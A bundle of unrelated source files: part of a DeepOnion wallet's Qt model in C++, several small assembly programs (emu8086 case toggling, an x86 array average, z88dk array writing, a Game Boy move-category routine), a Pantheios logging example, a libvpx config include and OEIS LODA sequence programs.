std::string sAddr = rcp.address.toStdString();
if (IsStealthAddress(sAddr)){
CStealthAddress sxAddr ;
if(!sxAddr.SetEncoded(sAddr)) {
Q_EMIT message(tr("Send Coins"), QString::fromStdString("Invalid stealth address"),CClientUIInterface::MSG_ERROR);
return InvalidAddress;
}
std::string strError;
CScript scriptPubKey;
std::string sNarr = rcp.narration.toStdString();
LogPrint(BCLog::STEALTH,"CreateStealthTransaction() qt : Narration: %s", sNarr);
std::vector<uint8_t> ephemP;
std::vector<uint8_t> vchNarr;
if (!wallet->GetStealthOutputs(sxAddr, sNarr, scriptPubKey , ephemP, vchNarr, strError)){
Q_EMIT message(tr("Send Coins"), QString::fromStdString(strError),CClientUIInterface::MSG_ERROR);
return NarrationTooLong;
}
CRecipient recipient1 = {scriptPubKey, rcp.amount, rcp.fSubtractFeeFromAmount};
vecSend.push_back(recipient1);
CScript scriptP = CScript() << OP_RETURN << ephemP;
if (vchNarr.size() > 0) {
scriptP = scriptP << OP_RETURN << vchNarr;
}
if (rcp.narration.length() > 0) {
int pos = vecSend.size()-1;
mapStealthNarr[pos] = sNarr;
}
CRecipient recipient2 = {scriptP, 0, false};
vecSend.push_back(recipient2);
// -- shuffle inputs, change output won't mix enough as it must be not fully random for plantext narrations
std::random_shuffle(vecSend.begin(), vecSend.end());
}
else {
CScript scriptPubKey = GetScriptForDestination(DecodeDestination(rcp.address.toStdString()));
CRecipient recipient1 = {scriptPubKey, rcp.amount, rcp.fSubtractFeeFromAmount};
vecSend.push_back(recipient1);
}
total += rcp.amount;
}
}
if(setAddress.size() != nAddresses)
{
return DuplicateAddress;
}
CAmount nBalance = getBalance(&coinControl);
if(total > nBalance)
{
return AmountExceedsBalance;
}
{
LOCK2(cs_main, wallet->cs_wallet);
transaction.newPossibleKeyChange(wallet);
CAmount nFeeRequired = 0;
int nChangePosRet = -1;
std::string strFailReason;
CWalletTx *newTx = transaction.getTransaction();
CReserveKey *keyChange = transaction.getPossibleKeyChange();
bool fCreated = wallet->CreateTransaction(vecSend, *newTx, *keyChange, nFeeRequired, nChangePosRet, strFailReason, coinControl);
transaction.setTransactionFee(nFeeRequired);
if (fSubtractFeeFromAmount && fCreated)
transaction.reassignAmounts(nChangePosRet);
std::map<int, std::string>::iterator it;
for (it = mapStealthNarr.begin(); it != mapStealthNarr.end(); ++it)
{
int pos = it->first;
if (nChangePosRet > -1 && it->first >= nChangePosRet)
pos++;
char key[64];
if (snprintf(key, sizeof(key), "n_%u", pos) < 1)
{
LogPrintf("CreateStealthTransaction(): Error creating narration key.");
continue;
}
newTx->mapValue[key] = it->second;
}
if(!fCreated)
{
if(!fSubtractFeeFromAmount && (total + nFeeRequired) > nBalance)
{
return SendCoinsReturn(AmountWithFeeExceedsBalance);
}
Q_EMIT message(tr("Send Coins"), QString::fromStdString(strFailReason),
CClientUIInterface::MSG_ERROR);
return TransactionCreationFailed;
}
// reject absurdly high fee. (This can never happen because the
// wallet caps the fee at maxTxFee. This merely serves as a
// belt-and-suspenders check)
if (nFeeRequired > maxTxFee)
return AbsurdFee;
}
return SendCoinsReturn(OK);
}
WalletModel::SendCoinsReturn WalletModel::sendCoins(WalletModelTransaction &transaction)
{
QByteArray transaction_array; /* store serialized transaction */
{
LOCK2(cs_main, wallet->cs_wallet);
CWalletTx *newTx = transaction.getTransaction();
for (const SendCoinsRecipient &rcp : transaction.getRecipients())
{
if (rcp.paymentRequest.IsInitialized())
{
// Make sure any payment requests involved are still valid.
if (PaymentServer::verifyExpired(rcp.paymentRequest.getDetails())) {
return PaymentRequestExpired;
}
// Store PaymentRequests in wtx.vOrderForm in wallet.
std::string key("PaymentRequest");
std::string value;
rcp.paymentRequest.SerializeToString(&value);
newTx->vOrderForm.push_back(make_pair(key, value));
}
else if (!rcp.message.isEmpty()) // Message from normal bitcoin:URI (bitcoin:123...?message=example)
newTx->vOrderForm.push_back(make_pair("Message", rcp.message.toStdString()));
}
CReserveKey *keyChange = transaction.getPossibleKeyChange();
CValidationState state;
if(!wallet->CommitTransaction(*newTx, *keyChange, g_connman.get(), state))
return SendCoinsReturn(TransactionCommitFailed, QString::fromStdString(state.GetRejectReason()));
CDataStream ssTx(SER_NETWORK, PROTOCOL_VERSION);
ssTx << *newTx->tx;
transaction_array.append(&(ssTx[0]), ssTx.size());
}
// Add addresses / update labels that we've sent to the address book,
// and emit coinsSent signal for each recipient
for (const SendCoinsRecipient &rcp : transaction.getRecipients())
{
// Don't touch the address book when we have a payment request
if (!rcp.paymentRequest.IsInitialized())
{
std::string strAddress = rcp.address.toStdString();
CTxDestination dest = DecodeDestination(strAddress);
std::string strLabel = rcp.label.toStdString();
{
LOCK(wallet->cs_wallet);
std::map<CTxDestination, CAddressBookData>::iterator mi = wallet->mapAddressBook.find(dest);
// Check if we have a new address or an updated label
if (mi == wallet->mapAddressBook.end())
{
wallet->SetAddressBook(dest, strLabel, "send");
}
else if (mi->second.name != strLabel)
{
wallet->SetAddressBook(dest, strLabel, ""); // "" means don't change purpose
}
}
}
Q_EMIT coinsSent(wallet, rcp, transaction_array);
}
checkBalanceChanged(); // update balance immediately, otherwise there could be a short noticeable delay until pollBalanceChanged hits
return SendCoinsReturn(OK);
}
OptionsModel *WalletModel::getOptionsModel()
{
return optionsModel;
}
AddressTableModel *WalletModel::getAddressTableModel()
{
return addressTableModel;
}
TransactionTableModel *WalletModel::getTransactionTableModel()
{
return transactionTableModel;
}
RecentRequestsTableModel *WalletModel::getRecentRequestsTableModel()
{
return recentRequestsTableModel;
}
WalletModel::EncryptionStatus WalletModel::getEncryptionStatus() const
{
if(!wallet->IsCrypted())
{
return Unencrypted;
}
else if(wallet->IsLocked())
{
return Locked;
}
else
{
return Unlocked;
}
}
bool WalletModel::setWalletEncrypted(bool encrypted, const SecureString &passphrase)
{
if(encrypted)
{
// Encrypt
return wallet->EncryptWallet(passphrase);
}
else
{
// Decrypt -- TODO; not supported yet
return false;
}
}
bool WalletModel::setWalletLocked(bool locked, const SecureString &passPhrase)
{
if(locked)
{
// Lock
return wallet->Lock();
}
else
{
// Unlock
return wallet->Unlock(passPhrase);
}
}
bool WalletModel::changePassphrase(const SecureString &oldPass, const SecureString &newPass)
{
bool retval;
{
LOCK(wallet->cs_wallet);
wallet->Lock(); // Make sure wallet is locked before attempting pass change
retval = wallet->ChangeWalletPassphrase(oldPass, newPass);
}
return retval;
}
bool WalletModel::backupWallet(const QString &filename)
{
return wallet->BackupWallet(filename.toLocal8Bit().data());
}
// Handlers for core signals
static void NotifyKeyStoreStatusChanged(WalletModel *walletmodel, CCryptoKeyStore *wallet)
{
qDebug() << "NotifyKeyStoreStatusChanged";
QMetaObject::invokeMethod(walletmodel, "updateStatus", Qt::QueuedConnection);
}
static void NotifyAddressBookChanged(WalletModel *walletmodel, CWallet *wallet,
const CTxDestination &address, const std::string &label, bool isMine,
const std::string &purpose, ChangeType status)
{
QString strAddress = QString::fromStdString(EncodeDestination(address));
QString strLabel = QString::fromStdString(label);
QString strPurpose = QString::fromStdString(purpose);
qDebug() << "NotifyAddressBookChanged: " + strAddress + " " + strLabel + " isMine=" + QString::number(isMine) + " purpose=" + strPurpose + " status=" + QString::number(status);
QMetaObject::invokeMethod(walletmodel, "updateAddressBook", Qt::QueuedConnection,
Q_ARG(QString, strAddress),
Q_ARG(QString, strLabel),
Q_ARG(bool, isMine),
Q_ARG(QString, strPurpose),
Q_ARG(int, status));
}
static void NotifyTransactionChanged(WalletModel *walletmodel, CWallet *wallet, const uint256 &hash, ChangeType status)
{
Q_UNUSED(wallet);
Q_UNUSED(hash);
Q_UNUSED(status);
QMetaObject::invokeMethod(walletmodel, "updateTransaction", Qt::QueuedConnection);
}
static void ShowProgress(WalletModel *walletmodel, const std::string &title, int nProgress)
{
// emits signal "showProgress"
QMetaObject::invokeMethod(walletmodel, "showProgress", Qt::QueuedConnection,
Q_ARG(QString, QString::fromStdString(title)),
Q_ARG(int, nProgress));
}
static void NotifyWatchonlyChanged(WalletModel *walletmodel, bool fHaveWatchonly)
{
QMetaObject::invokeMethod(walletmodel, "updateWatchOnlyFlag", Qt::QueuedConnection,
Q_ARG(bool, fHaveWatchonly));
}
void WalletModel::subscribeToCoreSignals()
{
// Connect signals to wallet
wallet->NotifyStatusChanged.connect(boost::bind(&NotifyKeyStoreStatusChanged, this, _1));
wallet->NotifyAddressBookChanged.connect(boost::bind(NotifyAddressBookChanged, this, _1, _2, _3, _4, _5, _6));
wallet->NotifyTransactionChanged.connect(boost::bind(NotifyTransactionChanged, this, _1, _2, _3));
wallet->ShowProgress.connect(boost::bind(ShowProgress, this, _1, _2));
wallet->NotifyWatchonlyChanged.connect(boost::bind(NotifyWatchonlyChanged, this, _1));
}
void WalletModel::unsubscribeFromCoreSignals()
{
// Disconnect signals from wallet
wallet->NotifyStatusChanged.disconnect(boost::bind(&NotifyKeyStoreStatusChanged, this, _1));
wallet->NotifyAddressBookChanged.disconnect(boost::bind(NotifyAddressBookChanged, this, _1, _2, _3, _4, _5, _6));
wallet->NotifyTransactionChanged.disconnect(boost::bind(NotifyTransactionChanged, this, _1, _2, _3));
wallet->ShowProgress.disconnect(boost::bind(ShowProgress, this, _1, _2));
wallet->NotifyWatchonlyChanged.disconnect(boost::bind(NotifyWatchonlyChanged, this, _1));
}
// WalletModel::UnlockContext implementation
WalletModel::UnlockContext WalletModel::requestUnlock()
{
bool was_locked = getEncryptionStatus() == Locked;
if ((!was_locked) && fWalletUnlockStakingOnly)
{
setWalletLocked(true);
was_locked = getEncryptionStatus() == Locked;
}
if(was_locked)
{
// Request UI to unlock wallet
Q_EMIT requireUnlock();
}
// If wallet is still locked, unlock was failed or cancelled, mark context as invalid
bool valid = getEncryptionStatus() != Locked;
return UnlockContext(this, valid, was_locked && !fWalletUnlockStakingOnly);
}
WalletModel::UnlockContext::UnlockContext(WalletModel *_wallet, bool _valid, bool _relock):
wallet(_wallet),
valid(_valid),
relock(_relock)
{
}
WalletModel::UnlockContext::~UnlockContext()
{
if(valid && relock)
{
wallet->setWalletLocked(true);
}
}
void WalletModel::UnlockContext::CopyFrom(const UnlockContext& rhs)
{
// Transfer context; old object no longer relocks wallet
*this = rhs;
rhs.relock = false;
}
bool WalletModel::getPubKey(const CKeyID &address, CPubKey& vchPubKeyOut) const
{
return wallet->GetPubKey(address, vchPubKeyOut);
}
bool WalletModel::IsSpendable(const CTxDestination& dest) const
{
return IsMine(*wallet, dest) & ISMINE_SPENDABLE;
}
bool WalletModel::getPrivKey(const CKeyID &address, CKey& vchPrivKeyOut) const
{
return wallet->GetKey(address, vchPrivKeyOut);
}
// returns a list of COutputs from COutPoints
void WalletModel::getOutputs(const std::vector<COutPoint>& vOutpoints, std::vector<COutput>& vOutputs)
{
LOCK2(cs_main, wallet->cs_wallet);
for (const COutPoint& outpoint : vOutpoints)
{
auto it = wallet->mapWallet.find(outpoint.hash);
if (it == wallet->mapWallet.end()) continue;
int nDepth = it->second.GetDepthInMainChain();
if (nDepth < 0) continue;
COutput out(&it->second, outpoint.n, nDepth, true /* spendable */, true /* solvable */, true /* safe */);
vOutputs.push_back(out);
}
}
bool WalletModel::isSpent(const COutPoint& outpoint) const
{
LOCK2(cs_main, wallet->cs_wallet);
return wallet->IsSpent(outpoint.hash, outpoint.n);
}
// AvailableCoins + LockedCoins grouped by wallet address (put change in one group with wallet address)
void WalletModel::listCoins(std::map<QString, std::vector<COutput> >& mapCoins) const
{
for (auto& group : wallet->ListCoins()) {
auto& resultGroup = mapCoins[QString::fromStdString(EncodeDestination(group.first))];
for (auto& coin : group.second) {
resultGroup.emplace_back(std::move(coin));
}
}
}
bool WalletModel::isLockedCoin(uint256 hash, unsigned int n) const
{
LOCK2(cs_main, wallet->cs_wallet);
return wallet->IsLockedCoin(hash, n);
}
void WalletModel::lockCoin(COutPoint& output)
{
LOCK2(cs_main, wallet->cs_wallet);
wallet->LockCoin(output);
}
void WalletModel::unlockCoin(COutPoint& output)
{
LOCK2(cs_main, wallet->cs_wallet);
wallet->UnlockCoin(output);
}
void WalletModel::listLockedCoins(std::vector<COutPoint>& vOutpts)
{
LOCK2(cs_main, wallet->cs_wallet);
wallet->ListLockedCoins(vOutpts);
}
void WalletModel::loadReceiveRequests(std::vector<std::string>& vReceiveRequests)
{
vReceiveRequests = wallet->GetDestValues("rr"); // receive request
}
bool WalletModel::saveReceiveRequest(const std::string &sAddress, const int64_t nId, const std::string &sRequest)
{
CTxDestination dest = DecodeDestination(sAddress);
std::stringstream ss;
ss << nId;
std::string key = "rr" + ss.str(); // "rr" prefix = "receive request" in destdata
LOCK(wallet->cs_wallet);
if (sRequest.empty())
return wallet->EraseDestData(dest, key);
else
return wallet->AddDestData(dest, key, sRequest);
}
bool WalletModel::transactionCanBeAbandoned(uint256 hash) const
{
return wallet->TransactionCanBeAbandoned(hash);
}
bool WalletModel::abandonTransaction(uint256 hash) const
{
LOCK2(cs_main, wallet->cs_wallet);
return wallet->AbandonTransaction(hash);
}
bool WalletModel::transactionCanBeBumped(uint256 hash) const
{
return feebumper::TransactionCanBeBumped(wallet, hash);
}
bool WalletModel::bumpFee(uint256 hash)
{
CCoinControl coin_control;
coin_control.signalRbf = true;
std::vector<std::string> errors;
CAmount old_fee;
CAmount new_fee;
CMutableTransaction mtx;
if (feebumper::CreateTransaction(wallet, hash, coin_control, 0 /* totalFee */, errors, old_fee, new_fee, mtx) != feebumper::Result::OK) {
QMessageBox::critical(0, tr("Fee bump error"), tr("Increasing transaction fee failed") + "<br />(" +
(errors.size() ? QString::fromStdString(errors[0]) : "") +")");
return false;
}
// allow a user based fee verification
QString questionString = tr("Do you want to increase the fee?");
questionString.append("<br />");
questionString.append("<table style=\"text-align: left;\">");
questionString.append("<tr><td>");
questionString.append(tr("Current fee:"));
questionString.append("</td><td>");
questionString.append(BitcoinUnits::formatHtmlWithUnit(getOptionsModel()->getDisplayUnit(), old_fee));
questionString.append("</td></tr><tr><td>");
questionString.append(tr("Increase:"));
questionString.append("</td><td>");
questionString.append(BitcoinUnits::formatHtmlWithUnit(getOptionsModel()->getDisplayUnit(), new_fee - old_fee));
questionString.append("</td></tr><tr><td>");
questionString.append(tr("New fee:"));
questionString.append("</td><td>");
questionString.append(BitcoinUnits::formatHtmlWithUnit(getOptionsModel()->getDisplayUnit(), new_fee));
questionString.append("</td></tr></table>");
SendConfirmationDialog confirmationDialog(tr("Confirm fee bump"), questionString);
confirmationDialog.exec();
QMessageBox::StandardButton retval = (QMessageBox::StandardButton)confirmationDialog.result();
// cancel sign&broadcast if users doesn't want to bump the fee
if (retval != QMessageBox::Yes) {
return false;
}
WalletModel::UnlockContext ctx(requestUnlock());
if(!ctx.isValid())
{
return false;
}
// sign bumped transaction
if (!feebumper::SignTransaction(wallet, mtx)) {
QMessageBox::critical(0, tr("Fee bump error"), tr("Can't sign transaction."));
return false;
}
// commit the bumped transaction
uint256 txid;
if (feebumper::CommitTransaction(wallet, hash, std::move(mtx), errors, txid) != feebumper::Result::OK) {
QMessageBox::critical(0, tr("Fee bump error"), tr("Could not commit transaction") + "<br />(" +
QString::fromStdString(errors[0])+")");
return false;
}
return true;
}
bool WalletModel::isWalletEnabled()
{
return !gArgs.GetBoolArg("-disablewallet", DEFAULT_DISABLE_WALLET);
}
bool WalletModel::hdEnabled() const
{
return wallet->IsHDEnabled();
}
OutputType WalletModel::getDefaultAddressType() const
{
return g_address_type;
}
int WalletModel::getDefaultConfirmTarget() const
{
return nTxConfirmTarget;
}
QString WalletModel::getBlockchainStatusText()
{
QString text;
if(blockchainStatus == -2)
text = QString("The authenticity of the DeepOnion blockchain has not yet been verified.");
else if(blockchainStatus == -1)
text = QString("The DeepOnion blockchain is not fully sychronized.");
else if(blockchainStatus == 0)
text = QString("The DeepOnion blockchain synchronized, but it does not match the latest checkpoint hash at Block ")
+ QString::number(LAST_REGISTERED_BLOCK_HEIGHT) + QString(" (which is registered and guaranteed by the Bitcoin blockchain). ")
+ QString("So you are most likely on a forked chain, please resync with official peers at https://deeponion.org.");
else
text = QString("The DeepOnion blockchain is fully synchronized. It is authentic! It is guaranteed by the Bitcoin blockchain ")
+ QString("(the most secure immutable database in the world) up to Block ")
+ QString::number(LAST_REGISTERED_BLOCK_HEIGHT) + QString(".");
return text;
}
QString WalletModel::getBlockchainStatusDetailsText()
{
QString detailsText;
if(blockchainStatus == -2)
detailsText = QString("The authenticity of the DeepOnion blockchain has not yet been verified. ")
+ QString("Please change your settings in the conf file in order to verify it");
else if(blockchainStatus == -1)
detailsText = QString("We can't verify the DeepOnion blockchain as it is not fully sychronized yet. ")
+ QString("Please wait until it is fully synchronized and check back.");
else if(blockchainStatus == 0)
detailsText = QString("The DeepOnion blockchain sychronized, but it does not match the latest checkpoint hash at Block ")
+ QString::number(LAST_REGISTERED_BLOCK_HEIGHT) + QString(" (which is registered and guaranteed by the Bitcoin blockchain). ")
+ QString("So you are most likely on a forked chain, please resync with official peers at https://deeponion.org.");
else
detailsText = QString("The current DeepOnion blockchain you are using up to height ")
+ QString::number(LAST_REGISTERED_BLOCK_HEIGHT) + QString(" matches the hash registered in the Bitcoin blockchain. The matched hash is ")
+ QString::fromUtf8(LAST_REGISTERED_BLOCKCHAIN_HASH.c_str()) + QString(", which is registered at Bitcoin blockchain at Block ")
+ QString::number(LAST_REGISTERED_BTC_BLOCK_HEIGHT) + QString(", with txid ")
+ QString::fromUtf8(LAST_REGISTERED_BTC_TX.c_str()) + QString(".");
return detailsText;
}
QString WalletModel::getBlockchainTextStylesheet()
{
QString stylesheet;
if(blockchainStatus < 0 )
stylesheet = "QLabel {font-weight: bold; color: white;}";
else if(blockchainStatus == 0)
stylesheet = "QLabel {font-weight: bold; color: red;}";
else
stylesheet = "QLabel {font-weight: bold; color: green;}";
return stylesheet;
}
|
;English
;Read a string and print it changing the
;case of every letter
;French
;Lire une chaîne et l'afficher sur l'écran
;changeant la casse des lettres.
org 100h
include "emu8086.inc"
.data
:
msg0 db 0dh, 0ah, "Insert string length (max 15)",0
msg1 db 0dh, 0ah, "Insert string ",0
msgstop db 0dh, 0ah, "Stopping...",0
str db "+++++++++++++++",0
len db "+++",0 ;
.code
LEA SI, msg0
call print_string
call scan_num
LEA SI, msg1
call print_string
MOV DX, 16
LEA DI, str
call get_string
MOV SI, OFFSET str
parse_string:
CMP [SI], 5Bh ;checks if the character is larger than Z = 5Ah
JL to_lower ; if it is less than [ = 5Bh -> it is uppercase
JG to_upper ; if it is greater than [ -> it is lowercase
continue: ; to_lower and to_upper jump (JMP) to continue
INC SI ; increases the address number held in SI, passing to the next character
LOOP parse_string ;loops parse_string until CX gets to 0
PUTC 13
PUTC 10
MOV SI,OFFSET str
call print_string
JMP stop
to_upper:
SUB [SI],32 ; substracts 32 from the value pointed by SI, that is [SI] = [SI] - 32
JMP continue; this turns the lowercase letter to uppercase letter
to_lower:
ADD [SI],32 ; adds 32
JMP continue
stop:
LEA SI, msgstop
call print_string
MOV AH, 0
INT 16h
RET
DEFINE_GET_STRING
DEFINE_PRINT_STRING
DEFINE_PRINT_NUM
DEFINE_PRINT_NUM_UNS
DEFINE_SCAN_NUM
END
|
/* /////////////////////////////////////////////////////////////////////////
* File: examples/cpp/inserters/example.cpp.inserter.args/example.cpp.inserter.args.cpp
*
* Purpose: C++ example program for Pantheios. Demonstrates:
*
* - use of Pantheios inserter for command-line arguments
* - use of pantheios::logputs() in bail-out conditions
*
* Created: 21st October 2006
* Updated: 27th January 2017
*
* www: http://www.pantheios.org/
*
* License: This source code is placed into the public domain 2006
* by Synesis Software Pty Ltd. There are no restrictions
* whatsoever to your use of the software.
*
* This software is provided "as is", and any warranties,
* express or implied, of any kind and for any purpose, are
* disclaimed.
*
* ////////////////////////////////////////////////////////////////////// */
/* Pantheios header files */
#include <pantheios/pantheios.hpp> // Pantheios C++ main header
#include <pantheios/inserters/args.hpp> // for pantheios::args
/* Standard C/C++ header files */
#include <exception> // for std::exception
#include <new> // for std::bad_alloc
#include <string> // for std::string
#include <stdlib.h> // for exit codes
#ifndef PANTHEIOS_DOCUMENTATION_SKIP_SECTION
# if defined(STLSOFT_COMPILER_IS_MSVC)
# pragma warning(disable : 4702)
# endif /* compiler */
#endif /* !PANTHEIOS_DOCUMENTATION_SKIP_SECTION */
/* ////////////////////////////////////////////////////////////////////// */
/* Define the stock front-end process identity, so that it links when using
* fe.N, fe.simple, etc. */
PANTHEIOS_EXTERN const PAN_CHAR_T PANTHEIOS_FE_PROCESS_IDENTITY[] = PANTHEIOS_LITERAL_STRING("example.cpp.inserter.args");
/* ////////////////////////////////////////////////////////////////////// */
#define PSTR(x) PANTHEIOS_LITERAL_STRING(x)
/* ////////////////////////////////////////////////////////////////////// */
int main(int argc, char** argv)
{
try
{
// Log the command-line arguments; Output like: "example.cpp.inserter.args, abc, def"
#ifndef PANTHEIOS_USE_WIDE_STRINGS
pantheios::log_NOTICE(PSTR("args: ["), pantheios::args(argc, argv), PSTR("]"));
#else /* ? !PANTHEIOS_USE_WIDE_STRINGS */
STLSOFT_SUPPRESS_UNUSED(argc); STLSOFT_SUPPRESS_UNUSED(argv);
#endif /* !PANTHEIOS_USE_WIDE_STRINGS */
return EXIT_SUCCESS;
}
catch(std::bad_alloc&)
{
pantheios::log(pantheios::alert, PSTR("out of memory"));
}
catch(std::exception& x)
{
pantheios::log_CRITICAL(PSTR("Exception: "), x);
}
catch(...)
{
pantheios::logputs(pantheios::emergency, PSTR("Unexpected unknown error"));
}
return EXIT_FAILURE;
}
/* ///////////////////////////// end of file //////////////////////////// */
|
@ This file was created from a .asm file
@ using the ads2gas.pl script.
.equ DO1STROUNDING, 0
.equ ARCH_ARM , 1
.equ ARCH_MIPS , 0
.equ ARCH_X86 , 0
.equ ARCH_X86_64 , 0
.equ HAVE_EDSP , 0
.equ HAVE_MEDIA , 1
.equ HAVE_NEON , 0
.equ HAVE_NEON_ASM , 0
.equ HAVE_MIPS32 , 0
.equ HAVE_DSPR2 , 0
.equ HAVE_MSA , 0
.equ HAVE_MIPS64 , 0
.equ HAVE_MMX , 0
.equ HAVE_SSE , 0
.equ HAVE_SSE2 , 0
.equ HAVE_SSE3 , 0
.equ HAVE_SSSE3 , 0
.equ HAVE_SSE4_1 , 0
.equ HAVE_AVX , 0
.equ HAVE_AVX2 , 0
.equ HAVE_VPX_PORTS , 1
.equ HAVE_STDINT_H , 1
.equ HAVE_PTHREAD_H , 1
.equ HAVE_SYS_MMAN_H , 1
.equ HAVE_UNISTD_H , 0
.equ CONFIG_DEPENDENCY_TRACKING , 1
.equ CONFIG_EXTERNAL_BUILD , 1
.equ CONFIG_INSTALL_DOCS , 0
.equ CONFIG_INSTALL_BINS , 0
.equ CONFIG_INSTALL_LIBS , 0
.equ CONFIG_INSTALL_SRCS , 0
.equ CONFIG_USE_X86INC , 0
.equ CONFIG_DEBUG , 0
.equ CONFIG_GPROF , 0
.equ CONFIG_GCOV , 0
.equ CONFIG_RVCT , 0
.equ CONFIG_GCC , 1
.equ CONFIG_MSVS , 0
.equ CONFIG_PIC , 1
.equ CONFIG_BIG_ENDIAN , 0
.equ CONFIG_CODEC_SRCS , 0
.equ CONFIG_DEBUG_LIBS , 0
.equ CONFIG_DEQUANT_TOKENS , 0
.equ CONFIG_DC_RECON , 0
.equ CONFIG_RUNTIME_CPU_DETECT , 0
.equ CONFIG_POSTPROC , 1
.equ CONFIG_VP9_POSTPROC , 1
.equ CONFIG_MULTITHREAD , 1
.equ CONFIG_INTERNAL_STATS , 0
.equ CONFIG_VP8_ENCODER , 1
.equ CONFIG_VP8_DECODER , 1
.equ CONFIG_VP9_ENCODER , 1
.equ CONFIG_VP9_DECODER , 1
.equ CONFIG_VP8 , 1
.equ CONFIG_VP9 , 1
.equ CONFIG_ENCODERS , 1
.equ CONFIG_DECODERS , 1
.equ CONFIG_STATIC_MSVCRT , 0
.equ CONFIG_SPATIAL_RESAMPLING , 1
.equ CONFIG_REALTIME_ONLY , 1
.equ CONFIG_ONTHEFLY_BITPACKING , 0
.equ CONFIG_ERROR_CONCEALMENT , 0
.equ CONFIG_SHARED , 0
.equ CONFIG_STATIC , 1
.equ CONFIG_SMALL , 0
.equ CONFIG_POSTPROC_VISUALIZER , 0
.equ CONFIG_OS_SUPPORT , 1
.equ CONFIG_UNIT_TESTS , 0
.equ CONFIG_WEBM_IO , 1
.equ CONFIG_LIBYUV , 1
.equ CONFIG_DECODE_PERF_TESTS , 0
.equ CONFIG_ENCODE_PERF_TESTS , 0
.equ CONFIG_MULTI_RES_ENCODING , 1
.equ CONFIG_TEMPORAL_DENOISING , 1
.equ CONFIG_VP9_TEMPORAL_DENOISING , 1
.equ CONFIG_COEFFICIENT_RANGE_CHECKING , 0
.equ CONFIG_VP9_HIGHBITDEPTH , 0
.equ CONFIG_EXPERIMENTAL , 0
.equ CONFIG_SIZE_LIMIT , 1
.equ CONFIG_SPATIAL_SVC , 0
.equ CONFIG_FP_MB_STATS , 0
.equ CONFIG_EMULATE_HARDWARE , 0
.equ DECODE_WIDTH_LIMIT , 16384
.equ DECODE_HEIGHT_LIMIT , 16384
.section .note.GNU-stack,"",%progbits
|
.686
.model flat, c
;Implementation for this Assembly File
;extern "C" int CalculateAverageArray(int* array, int length);
.code
CalculateAverageArray proc
push ebp ; push the 32 bit base pointer register
mov ebp, esp ; move the 32 bit stack pointer register value to ebp
mov ecx, [ebp + 8] ;ecx is equal to the pointer to array
mov edx, [ebp + 12] ;edx is equal to length
xor eax, eax ; performs an xor operation on eax making eax = 0
test edx, edx ;bitwise AND on two operands and set zero flag and sign flag depending on value
je LengthZero ;jump to LengthZero if edx is zero
@@:
dec edx ;predecrement edx by 1 since array start at zero
add eax, dword ptr[ecx + edx * 4] ;get the each element of the array and add it to eax
test edx, edx ; bitwise AND on two operands and set zero flag and sign flag depending on value
jne @B ; jump back to nearest @@ if the zero flag is not set for edx
xor ecx, ecx ;performs an xor operation on ecx making ecx = 0
mov ecx, [ebp + 12] ; ecx = to length
div ecx ; divide eax by ecx ( eax = sum / length)
;eax register value will get passed to the return type of the function
LengthZero:
;popped pushed register
pop ebp
ret
CalculateAverageArray endp
end |
; A029020: Expansion of 1/((1-x)(1-x^2)(1-x^7)(1-x^8)).
; 1,1,2,2,3,3,4,5,7,8,10,11,13,14,17,19,23,25,29,31,35,38,43,47,53,57,63,67,74,79,87,93,102,108,117,124,134,142,153,162,174,183,196,206,220,231,246,258,274,287,304,318
mov $1,17
lpb $0,1
mov $2,$0
sub $0,1
cal $2,25784 ; Expansion of 1/((1-x)(1-x^7)(1-x^8)).
sub $0,1
add $1,$2
lpe
sub $1,16
|
; A037237: Expansion of (3 + x^2) / (1 - x)^4.
; 3,12,31,64,115,188,287,416,579,780,1023,1312,1651,2044,2495,3008,3587,4236,4959,5760,6643,7612,8671,9824,11075,12428,13887,15456,17139,18940,20863,22912,25091,27404,29855,32448,35187,38076,41119,44320,47683,51212,54911,58784,62835,67068,71487,76096,80899,85900,91103,96512,102131,107964,114015,120288,126787,133516,140479,147680,155123,162812,170751,178944,187395,196108,205087,214336,223859,233660,243743,254112,264771,275724,286975,298528,310387,322556,335039,347840,360963,374412,388191,402304
add $0,2
mul $0,2
mov $1,$0
bin $0,3
add $0,$1
div $0,2
sub $0,1
|
; ===============================================================
; Mar 2014
; ===============================================================
;
; size_t b_array_write_block(void *src, size_t n, b_array_t *a, size_t idx)
;
; Write at most n bytes from the src to the array at index idx.
; Returns number of bytes actually written, which may be less
; than n if the array could not accommodate all bytes.
;
; ===============================================================
SECTION code_clib
SECTION code_adt_b_array
PUBLIC asm_b_array_write_block
PUBLIC asm1_b_array_write_block
EXTERN __array_make_room_best_effort, error_zc
asm_b_array_write_block:
; enter : hl'= void *src
; bc = idx
; de = n
; hl = array *
;
; exit : success
;
; hl = num_bytes written
; de = & array.data[idx]
; hl'= src + num_bytes
; de'= & array.data[idx + num_bytes]
; a = 0 if all n bytes were written (hl == n)
; -1 if not all n bytes were written (hl < n)
;
; fail if idx > array.capacity
;
; hl = 0
; carry set
;
; uses : af, bc, de, hl, bc', de', hl'
ex de,hl ; hl = n
inc de
inc de ; de = & array.size
call __array_make_room_best_effort
jp c, error_zc
room_available:
asm1_b_array_write_block:
; hl = & array.data[idx]
; bc = n_max
; hl'= void *src
; a = 0 if room for all bytes, -1 otherwise
push af ; save flag
push hl
push bc
exx
pop bc ; bc = n
pop de ; de = & array.data[idx]
ld a,b
or c
jr z, degenerate_case
ldir
degenerate_case:
exx
; hl = & array.data[idx]
; bc = n
; hl'= void *src + n
; de'= & array.data[idx + n]
ex de,hl ; de = & array.data[idx]
ld l,c
ld h,b ; hl = n
pop af ; a = 0 indicates all bytes written
ret
|
; A144758: Partial products of successive terms of A017197.
; 1,3,36,756,22680,884520,42456960,2420046720,159723083520,11979231264000,1006255426176000,93581754634368000,9545338972705536000,1059532625970314496000,127143915116437739520000,16401565050020468398080000,2263415976902824638935040000,332722148604715221923450880000,51904655182335574620058337280000,8564268105085369812309625651200000,1490182650284854347341874863308800000,272703425002128345563563099985510400000,52359057600408642348204115197217996800000,10524170577682137111989027154640817356800000
mul $0,9
trn $0,6
seq $0,114806 ; Nonuple factorial, 9-factorial, n!9, n!!!!!!!!!.
|
GetMoveCategoryName:
; Copy the category name of move b to wStringBuffer1.
ld a, b
dec a
ld bc, MOVE_LENGTH
ld hl, Moves + MOVE_TYPE
call AddNTimes
ld a, BANK(Moves)
call GetFarByte
; Mask out the type
and $ff ^ TYPE_MASK
; Shift the category bits into the range 0-2
rlc a
rlc a
dec a
ld hl, CategoryNames
ld e, a
ld d, 0
add hl, de
add hl, de
ld a, [hli]
ld h, [hl]
ld l, a
ld de, wStringBuffer1
ld bc, MOVE_NAME_LENGTH
